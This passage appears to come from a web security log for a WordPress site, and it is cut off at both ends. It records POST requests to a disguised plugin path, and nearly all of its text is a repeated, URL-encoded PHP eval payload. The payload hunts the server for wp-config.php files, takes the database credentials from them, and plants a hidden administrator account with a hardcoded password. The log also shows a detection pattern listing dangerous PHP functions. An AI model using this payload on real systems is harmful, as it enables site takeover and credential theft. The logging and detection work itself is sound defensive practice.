Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\n\ncmgIbF=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 17:29:42","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> phaqOW:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:12663\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nphaqOW=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%